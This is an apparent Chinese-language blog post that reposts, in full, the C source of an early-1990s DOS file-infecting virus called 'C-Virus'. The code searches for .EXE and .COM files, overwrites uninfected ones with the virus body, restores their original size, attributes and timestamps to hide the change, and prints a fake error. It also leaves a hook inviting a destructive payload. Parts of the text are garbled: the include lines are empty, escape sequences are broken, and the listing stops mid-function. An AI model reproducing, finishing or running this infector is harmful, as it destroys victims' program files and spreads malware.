一个用C语言编写的小病毒

以下是一个用C语言写的小病毒代码,此代码为本人转载,并非本人所写： 

/* C-Virus: A generic .COM and .EXE infector

  Written by Nowhere Man

  Project started and completed on 6-24-91

  Written in Turbo C++ v1.00 (works fine with Turbo C v2.00, too)
*/


#pragma inline                     // Compile to .ASM

#include
#include
#include
#include
#include

void hostile_activity(void);
int infected(char *);
void spread(char *, char *);
void small_print(char *);
char *victim(void);

#define DEBUG
#define ONE_KAY   1024               // 1k
#define TOO_SMALL ((6 * ONE_KAY) + 300)           // 6k+ size minimum
#define SIGNATURE "NMAN"             // Sign of infection

int main(void)
{
  /* The main program */

  spread(_argv[0], victim());         // Perform infection
  small_print("Out of memory/r/n");     // Print phony error
  return(1);                 // Fake failure...
}

void hostile_activity(void)
{
  /* Put whatever you feel like doing here...I chose to
    make this part harmless, but if you're feeling
    nasty, go ahead and have some fun... */

  small_print("/a/a/aAll files infected. Mission complete./r/n");
  exit(2);
}

int infected(char *fname)
{
  /* This function determines if fname is infected */

  FILE *fp;               // File handle
  char sig[5];               // Virus signature

  fp = fopen(fname, "rb");
  fseek(fp, 28L, SEEK_SET);
  fread(sig, sizeof(sig) - 1, 1, fp);
#ifdef DEBUG
  printf("Signature for %s: %s/n", fname, sig);
#endif
  fclose(fp);
  return(strncmp(sig, SIGNATURE, sizeof(sig) - 1) == 0);
}

void small_print(char *string)
{
  /* This function is a small, quick print routine */

  asm {
      push si
      mov si,string
      mov ah,0xE
  }

print:   asm {
      lodsb
      or   al,al
      je   finish
      int 0x10
      jmp short print
  }
finish: asm   pop si
}

void spread(char *old_name, char *new_name)
{
  /* This function infects new_name with old_name */


  /* Variable declarations */

  FILE *old, *new;             // File handles
  struct ftime file_time;                 // Old file date,
time
  int attrib;                 // Old attributes
  long old_size, virus_size;         // Sizes of files
  char *virus_code = NULL;       // Pointer to virus
  int old_handle, new_handle;         // Handles for files


  /* Perform the infection */

#ifdef DEBUG
  printf("Infecting %s with %s.../n", new_name, old_name);
#endif
  old = fopen(old_name, "rb");         // Open virus
  new = fopen(new_name, "rb");         // Open victim
  old_handle = fileno(old);           // Get file handles
  new_handle = fileno(new);
  old_size = filelength(new_handle);     // Get old file size
  virus_size = filelength(old_handle);       // Get virus size
  attrib = _chmod(new_name, 0);       // Get old attributes
  getftime(new_handle, &file_time);     // Get old file time
  fclose(new);               // Close the virusee
  _chmod(new_name, 1, 0);           // Clear any read-only
  unlink(new_name);             // Erase old file
  new = fopen(new_name, "wb");         // Open new virus
  new_handle = fileno(new);
  virus_code = malloc(virus_size);     // Allocate space
  fread(virus_code, virus_size, 1, old);     // Read virus from old
  fwrite(virus_code, virus_size, 1, new);       // Copy virus to new
  _chmod(new_name, 1, attrib);         // replace attributes
  chsize(new_handle, old_size);       // replace old size
  setftime(new_handle, &file_time);     // replace old time


  /* Clean up */

  fcloseall();               // Close files
  free(virus_code);             // Free memory
}

char *victim(void)
{
  /* This function returns the virus's next victim */


  /* Variable declarations */

  char *types[] = {"*.EXE", "*.COM"};       // Potential victims
  static struct ffblk ffblk;         // DOS file block
  int done;               // Indicates finish
  int index;                 // Used for loop


  /* Find our victim */

  if ((_argc > 1) && (fopen(_argv[1], "rb") != NULL))
      return(_argv[1]);

  for (index = 0; index < sizeof(types); index++) {
      done = findfirst(types[index], &ffblk, FA_RDONLY | FA_HIDDEN |
FA_SYSTEM | FA_ARCH);
      while (!done) {
#ifdef DEBUG
        printf("Scanning %s.../n", ffblk.ff_name);
#endif
        /* If you want to check for specific days of the week,
          months, etc., here is the place to insert the
          code (don't forget to "#include "!) */

        if ((!infected(ffblk.ff_name)) && (ffblk.ff_fsize >
TOO_SMALL))
            return(ffblk.ff_name);
        done = findnext(&ffblk);
      }
  }


  /* If there are no files left to infect, have a little fun... */

  hostile_activity();
  return(0);                 // Prevents warning